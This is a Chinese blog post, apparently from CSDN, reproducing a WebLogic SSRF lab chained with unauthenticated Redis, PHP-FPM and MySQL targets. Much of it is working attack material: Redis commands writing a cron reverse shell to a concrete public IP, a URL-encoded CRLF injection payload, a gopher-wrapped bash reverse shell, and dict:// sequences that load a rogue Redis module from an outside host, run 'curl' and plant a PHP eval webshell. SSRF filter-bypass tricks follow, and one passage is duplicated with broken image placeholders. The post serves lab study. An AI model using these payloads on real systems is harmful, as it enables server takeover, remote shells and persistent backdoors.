再探SSRF服务器请求伪造（weblogic cve ssrf redis未授权）

最新推荐文章于 2024-08-24 21:05:55 发布
最新推荐文章于 2024-08-24 21:05:55 发布
阅读量1.4w 收藏 5
点赞数 3
分类专栏： # PHP # 漏洞复现 文章标签： linux 安全 redis
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/q20010619/article/details/116172033
版权

攻击Redis

漏洞环境

复现环境使用vulhup weblogic ssrf

地址：https://vulhub.org/#/environments/weblogic/ssrf/

vulhub使用：https://vulhub.org/#/docs/run/

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Redis

Redis一般运行在内网，大多绑定与6379端口，且一般为空口令

攻击者通过ssrf漏洞未授权访问内网Redis，导致任意增删改查其中内容，甚至利用导出功能写入crontab，webshell和ssh公钥（导出功能写入的文件所有者为redis的启动用户，一般启动用户为root，如果启动用户权限较低，将无法完成攻击）

Redis是一条指令执行一个行为，如果其中一条指令是错误的，那么会继续读取下一条，所以如果发送的报文中可以控制其中一行，就可以将其修改为Redis指令，分批执行指令，完成攻击。如果可以控制多行报文，那么可以在一次连接中完成攻击

在攻击Redis的时候，一般是写入Crontab反弹shell，通常的攻击流程如下：

redis-cli flushall
echo -e "\n\n*/1**** bash -i /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1 \n\n" | redis-cli -x set 1
redis-cli config set dir /var/spoll/cron/
redis-cli config set dbfilename root
redis-cli save

解析：

  • redis-cli

    redis命令行工具

    -x 代表从标准输入读取数据作为该命令的最后一个参数

  • Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启

    可修改的配置参数使用命令 config get * 列出

  • echo -e

    如果遇到转义字符，特别加以处理，不会将它当作一般文字输出

Crontab

https://www.linuxprobe.com/how-to-crontab.html

crontab用法与实例crontab用法与实例

""代表所有的取值范围内的数字，如月份字段为，则表示1到12个月；

"/"代表每一定时间间隔的意思，如分钟字段为*/10，表示每10分钟执行1次。

"-"代表从某个区间范围，是闭区间。如“2-5”表示“2,3,4,5”，小时字段中0-23/2表示在0~23点范围内每2个小时执行一次。

","分散的数字（不一定连续），如1,2,3,4,7,9。

每一分钟执行一次command（因cron默认每1分钟扫描一次，因此全为*即可）

*    *    *    *    *  command

方法1-crlf注入

通过header CRLF 注入

SSRF漏洞存在于

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

使用工具

bp抓包

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问端口会得到错误，一般是 status code

image-20210426153721038

如果访问的非http协议，则会返回

did not have a valid SOAP content-type

如果访问不存在的端口，将会返回

could not connect over HTTP to server

image-20210426153926791

通过错误的不同，即可探测内网的状态

攻击前首先要知道redis服务器内网IP和端口，可以通过bp或者脚本来进行

image-20210426161529249

同过破解我们知道redis ip为172.22.0.2:6379

image-20210426161609859

接下来编写exp，redis通过换行来区分每一条指令，虽然weblogic的ssrf是get请求，也可以通过传入 %0a%0d 来注入换行，实现攻击redis的目的

发送三条redis命令，将弹shell脚本写入 /etc/crontab 文件

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/121.196.173.254/8000 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

通过工具进行url编码

image-20210426155639632

set%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%200%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27sh%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F121%2E196%2E173%2E254%2F8000%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

进行拼接后发送数据

image-20210426162211881

成功连接

image-20210426162235868

坑点：直接在浏览器访问的话，浏览器会有url解码，所以尽量bp抓包，或者两次url编码

方法2-curl、gopher协议

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机

此种方法能攻击成功的前提条件是：redis是以root权限运行的

redis命令进行了两次url编码，这里是通过gopher协议伪造的请求包用curl命令来发送

方法三：使用dict协议向Redis数据库写shell

关于dict协议：
　　> dict://serverip:port/命令:参数
　　> 向服务器的端口请求 命令:参数，并在末尾自动补上\r\n(CRLF)，为漏洞利用增添了便利

如果服务端不支持gopher协议，可尝试dict协议，不过通过dict协议的话要一条一条的执行，而gopher协议执行一条命令就行了。

curl扩展也支持dict协议，可以配合curl命令发送请求，但也可以直接在浏览器上或者bp发包请求。

可通过以下三条命令看是否能利用dict:

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

img

这样就代表可以成功执行命令。

  1. 先清除没用的数据，防止定时任务执行失败

    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall

  2. 利302跳转写入反弹命令

    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234

  3. 设置导出路径

    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/

  4. 设置导出名字

    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root

  5. 导出

    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save

使用burp发包，为了避免语句顺序执行错误，故第一个包先跑20个在跑第二个包以此类推，如果是批量内网ip存在6379端口，那么C段用通配符“*”表示。

在公网机上使用nc持续监听1234端口，等一会儿把包发完就会反弹shell。

Tricks

可进行利用的cron有如下几个地方：

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件
四、结合gopher协议实现进一步攻击
1.通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

在靶机上执行：bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻击机上执行：nc -lvp 2333

post请求为：

_POST /test/ssrf/post.php HTTP/1.1
Host: 192.168.220.139
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

cmd=ccccc

bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

将其进行url两次编码，然后结合gopher协议和curl命令，payload如下:

curl -v 
'http://xxx.xxx.xx.xx/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'

攻击机先运行nc命令，然后curl发送请求。

2.gopher攻击MySQL

如果内网中的mysql数据库存在无密码的用户，可结合gopher协议进行攻击。

3.gopher攻击fastcgi

php-fpm一般监听在127.0.0.1的9000端口上，当存在未授权访问漏洞时，利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

前提：

PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时，gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径，例如/usr/local/lib/php/PEAR.php
五、SSRF 触发主从复制反弹 shell

操作也是很平常的操作，如同你在 redis-cli 中操作一样

1.连接远程主服务器

/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:8379

2.设置保存文件名

/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so

3.载入 exp.so

/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so

4.断开主从

/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE

5.恢复原始文件名

/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb

6.执行命令

/api/test/http_get?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'

7.反弹 shell

/api/test/http_get?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
利用主从写shell：

1.连接远程主服务器

/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:2323

2.设置保存路径

/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
设置shell内容
/api/test/http_get?url=dict://127.0.0.1:6379/set:xxx:"\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

3.设置保存文件名

/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php

4.保存

/api/test/http_get?url=dict://127.0.0.1:6379/save

5.断开主从

/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one

攻击Mysql

基础

mysql分为客户端和服务端，有客户端连接服务端有4种方式

  • UNIX套接字
  • 内存共享
  • 命名管道
  • TCP/IP套接字

mysql攻击依靠第4种方式，MySQL客户端连接时会出现两种情况，即是否需要密码认证。当需要进行密码认证时，服务器先发送salt，然后客户端使用salt加密密码再验证。当不需进行密码认证时，将直接使用第4种方式发送数据包。所以，在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行

更多参考ctfer从0到1

PHP-FPM攻击

利用条件如下：Libcurl，版本高于7.45.0；PHP-FPM，监听端口，版本高于5.3.3；知道服务器上任意一个PHP文件的绝对路径

首先，FastCGI本质上是一个协议，在CGI的基础上进行了优化。PHP-FPM是实现和管理FastCGI的进程。在PHP-FPM下如果通过FastCGI模式，通信还可分为两种：TCP和UNIX套接字（socket）

TCP模式是在本机上监听一个端口，默认端口号为9000，Nginx会把客户端数据通过FastCGI协议传给9000端口，PHP-FPM拿到数据后会调用CGI进程解析

更多参考ctfer从0到1

攻击内网中的脆弱的web应用

内网中的Web应用因为无法被外网的攻击者访问到，所以往往会忽视其安全威胁

Tricks

gopher协议

gopher://_url编码后的http header

自动组装gopher脚本

https://github.com/tarunkant/Gopherus

SSRF绕过

IP限制绕过

  1. Enclosed alphanumerics代替IP中的数字或网址中的字母

    image-20210426194950735

    image-20210426195031168

  2. 进制转换

    十进制、八进制（最前面加0）、十六进制（最前面加0x）

  3. 特殊写法

    在Windows下，0代表0.0.0.0，而在Linux下，0代表127.0.0.1

    某些情况下可以用http://0进行请求127.0.0.1

  4. 302跳转

    xip.io的服务，当访问这个服务的任意子域名时，都会重定向到这个子域名，如127.0.0.1.xip.io解析127.0.0.1

  5. sudo.cc指向127.0.0.1绕过正则过滤，同理也可以自己指向127.0.0.1

  6. 短网址绕过

  7. 有时服务端可能过滤了很多协议，如传入的URL中只允许出现“http”或“https”，那么可以在自己的服务器上写一个302跳转，利用Gopher协议攻击内网的Redis

    image-20210426195437466

URL解析问题

image-20210426200653874

DNS Rebinding

在某些情况下，针对SSRF的过滤可能出现下述情况：通过传入的URL提取出host，随即进行DNS解析，获取IP地址，对此IP地址进行检验，判断是否合法，如果检测通过，则再使用curl进行请求。那么，这里再使用curl请求的时候会做第二次请求，即对DNS服务器重新请求，如果在第一次请求时其DNS解析返回正常地址，第二次请求时的DNS解析却返回了恶意地址，那么就完成了DNS Rebinding攻击

DNS重绑定的攻击首先需要攻击者自己有一个域名，通常有两种方式。第一种是绑定两条记录，见图2-1-29。这时解析是随机的，但不一定会交替返回。所以，这种方式需要一定的概率才能成功。

image-20210426200827183

第二种方式则比较稳定，自己搭建一个DNS Server，在上面运行自编的解析服务，使其每次返回的都不同。先给域名添加两条解析，一条A记录指向服务器地址，一条NS记录指向上条记录地址。

image-20210426200849473

image-20210426201054624

Redis的主从模式

行请求。那么，这里再使用curl请求的时候会做第二次请求，即对DNS服务器重新请求，如果在第一次请求时其DNS解析返回正常地址，第二次请求时的DNS解析却返回了恶意地址，那么就完成了DNS Rebinding攻击

DNS重绑定的攻击首先需要攻击者自己有一个域名，通常有两种方式。第一种是绑定两条记录，见图2-1-29。这时解析是随机的，但不一定会交替返回。所以，这种方式需要一定的概率才能成功。

[外链图片转存中…(img-qudFfAg8-1619440806987)]

第二种方式则比较稳定，自己搭建一个DNS Server，在上面运行自编的解析服务，使其每次返回的都不同。先给域名添加两条解析，一条A记录指向服务器地址，一条NS记录指向上条记录地址。

[外链图片转存中…(img-V6wIdNmP-1619440806988)]

[外链图片转存中…(img-Ff8VdG2J-1619440806989)]

Redis的主从模式

Redis为了应对读写量较大的问题，提供了一种主从模式，使用一个Redis实例作为主机只负责写，其余实例都为从机，只负责读，主从机间数据相同，其次在Redis 4.x后新增加了模块的功能，通过外部的扩展可以实现一条新的Redis命令，因为此时已经完全控制了Redis，所以可以通过将此机设置为自己VPS的从机，在主机上通过FULLSYNC同步备份一个恶意扩展到从机上加载。在Github上可以搜到关于该攻击的exp，如https://github.com/n0b0dyCN/redis-rogue-server

OceanSec
关注
专栏目录
redis数据库非授权访问-SSRF
千寻的博客
02-09 1096
文章目录第一步 ：获取镜像第二步 启动docker镜像第三步：登录docker镜像第四步:访问weblogic(7001端口)第五步:存在SSRF 漏洞抓到的数据包进行内网的探测补充:redis 数据库第六步 通过读写计划任务文件crontab反弹Shell 到指定地址url编码burp里面提交第七步 第六步的同时设置监听 第一步 ：获取镜像 [cd Desktop/] [cd vulhub-ma...
ssrf+redis未授权靶场
actistsec的博客
10-25 2120
自己搭建不太合理的ssrf联动redis未授权
组合拳SSRF+redis未授权访问
求大佬师傅带
09-15 618
组合拳SSRF+redis未授权访问
深入解析SSRF和Redis未授权访问
最新发布
m0_66993332的博客
08-24 1033
etc/crontab 这个是肯定的/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。/var/spool/cron/root centos系统下root用户的cron文件/var/spool/cron/crontabs/root debian系统下root用户的cron文件SSRF和Redis未授权访问是两类常见但极具威胁的安全漏洞。
dedis&weblogic ssrf利用redis未授权反弹shell
Feng_Blue_的博客
10-27 445
本文仅提供于学术探讨，如有后果自行承担。 redis数据库未授权访问漏洞复现 启用漏洞环境 借助工具来进行操作 查看基本帮助 weblogic ssrf利用redis未授权访问反弹shell
【SSRF-02】服务器端请求伪造攻击案例——WebLogic架构之从SSRF==＞Redis（存在未授权访问）==＞GetShell
m0_64378913的博客
07-04 1456
概述：Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。redis存在未授权访问漏洞（在访问redis数据库时，无需提供用户名及密码，且具备root权限读写文件）。影响范围：版本10.0.2、版本10.3.6。WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Jav
SSRF漏洞（服务器端请求伪造）
赤赤三的博客
03-21 2203
中间人（SSRF就是中间人）攻击，服务端请求伪造，主要攻击内网，打redis和weblogic特别厉害，目标网站的内部系统（他是从内部系统访问的，所以通过它攻击外部系统无法访问的内部系统，也就是目标网站当成中间人）。 大部分漏漏洞都是参数给变量的时候没有做任何限制导致漏洞。 攻击主要结果： 写webshell（需要知道web路径，有增删改查权限，gopher协议的使用，使用工具生成gopher 攻击ssrfpayload） 反弹shell（获取操作系统命令） 原理： 根本原因： SS.
Weblogic SSRF漏洞(CVE-2014-4210)
墨鱼菜鸡
05-03 116
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。 关于SSRF漏洞我们就不讲了，传送门——>SSRF(服务端请求伪造)漏洞 今天我们讲的是Weblogic存在的SSRF漏洞。 该漏洞存在于：http://ip:...
Weblogic_SSRF漏洞_CVE-2014-4210（未完待续）
simonnews的博客
05-25 891
Weblogic_SSRF漏洞_CVE-2014-42101 漏洞概述1.1 基础知识1.2 漏洞概述1.3 影响版本2 漏洞原理分析3 漏洞复现4 漏洞修复5 其他 1 漏洞概述 1.1 基础知识 什么是SSRF漏洞：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） 1.2 漏洞概
Weblogic SSRF漏洞（CVE-2014-4210）
weixin_39664643的博客
01-25 1156
利用范围 版本10.0.2,10.3.6 原理 Oracle WebLogic Web Server既可以被外部主机访问，同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp，我们可以利用它进行攻击，未经授权通过weblogic server连接任意主机的任意TCP 端口，可以能冗长的响应来推断在此端口上是否有服务在监听此端口。 利用 漏洞靶场 编译及启动测试环境 docker-compose build docker-compose up -d 访问http
漏洞复现—Weblogic CVE-2017-10271/CVE-2018-2628/CVE-2018-2894/CVE-2020-14882/ssrf/weak_password
weixin_45556536的博客
11-27 2049
这里写目录标题基础知识漏洞原理涉及版本漏洞特征漏洞复现—CVE-2017-10271 'wls-wsat' XMLDecoder 反序列化漏洞CVE-2018-2628 Weblogic T3协议反序列化漏洞CVE-2018-2894 Weblogic任意文件上传漏洞CVE-2020-14882 weblogic 未授权命令执行漏洞漏洞修复 基础知识 Weblogic是oracle推出的application server，由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
【SSRF02】服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell
Fighting_hawk的博客
03-16 4441
1. 掌握SSRF漏洞挖掘的方法； 2. 掌握利用SSRF漏洞进行内网扫描； 3. 本实验中未涉及SSRF利用时绕过的方法； 4. 后续将研究如何成功反弹shell。
利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell
wenqingshuo321的博客
10-11 798
在Search Public Registries，选择Public Registry中的 IBM，同时勾选Search by business name，开启bp进行抓包，点击search。set 1 "\n\n\n\n * * * * * root bash -i >& /dev/tcp/{本地物理机ip}/1234 0>&1\n\n\n\n"给redis服务器发送三条命令，将其写入redis的容器里里面的/etc/crontab，从而将shell反弹到本地物理机ip的1234端口。
SSRF+Redis未授权访问获得Webshell
weixin_42998420的博客
10-22 5676
Weblogic 存在SSRF , 内网Redis 数据库存在未授权访问(空口令) URL地址: http://101.198.180.144:7001/uddiexplorer/SearchPublicRegistries.jsp 由于此SSRF能够在页面上回显信息,所以可以直接遍历内部信息, 笔者通过不断尝试,发现目标站点6379端口(Redis默认端口为6379) 如下图: 利用SSRF漏...
weblogic管理控制台未授权远程命令执行漏洞和weblogic SSRF漏洞复现
weixin_48739941的博客
04-21 1544
1 weblogic管理控制台未授权远程命令执行漏洞复现 （1）cd CVE-2020-14882 切换目录。 （2）docker-compose up -d 启动。 （3）访问http://192.168.241.128:7001/console （4）http://192.168.241.128:7001/css/%252e%252e%252fconsole.portal绕过漏洞，未授权访问后台管理页面。 （5）burpsuite抓包。 （6）send to repe..
Weblogic - SSRF攻击内网redis服务漏洞
HAKUNAMATATATTA的博客
12-05 1155
SSRF（Server-Side Request Forgery），服务端请求伪造，是一种由攻击者构造形成由服务端发起请求的一个漏洞，一般情况下，SSRF攻击的目标是从外部网络无法访问的内部系统。
SSRF+redis未授权漏洞复现
qq_57094995的博客
10-04 678
ssrf+redis未授权漏洞的复现
ssrf服务器请求伪造
07-22
关于 SSRF (Server-Side Request Forgery) 的问题，我可以为你提供一些基本的信息。SSRF 是一种安全漏洞，攻击者可以利用它来伪造服务器发出的请求。攻击者可以通过构造恶意请求，使服务器发送请求到内部网络或其他受保护的资源。 为了防止 SSRF 攻击，有几个建议和防护措施可以考虑： 1. 输入验证和过滤：对用户输入进行严格的验证和过滤，确保输入的 URL 是合法的，并且只允许访问可信的资源。 2. 白名单：限制服务器可以访问的资源范围，使用白名单来限制服务器发出请求的目标。 3. 限制协议和端口：限制服务器可以使用的协议和端口，防止服务器发出恶意请求。 4. 安全配置：确保服务器的安全配置是正确的，包括限制服务器的访问权限和网络隔离。 5. 日志监控：监控服务器的访问日志，及时发现和响应可能的攻击行为。 以上只是一些基本的防护措施，对于特定环境和应用程序，可能需要更具体的安全措施来保护系统免受 SSRF 攻击。同时，及时更新和维护服务器和应用程序的安全补丁也是非常重要的。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值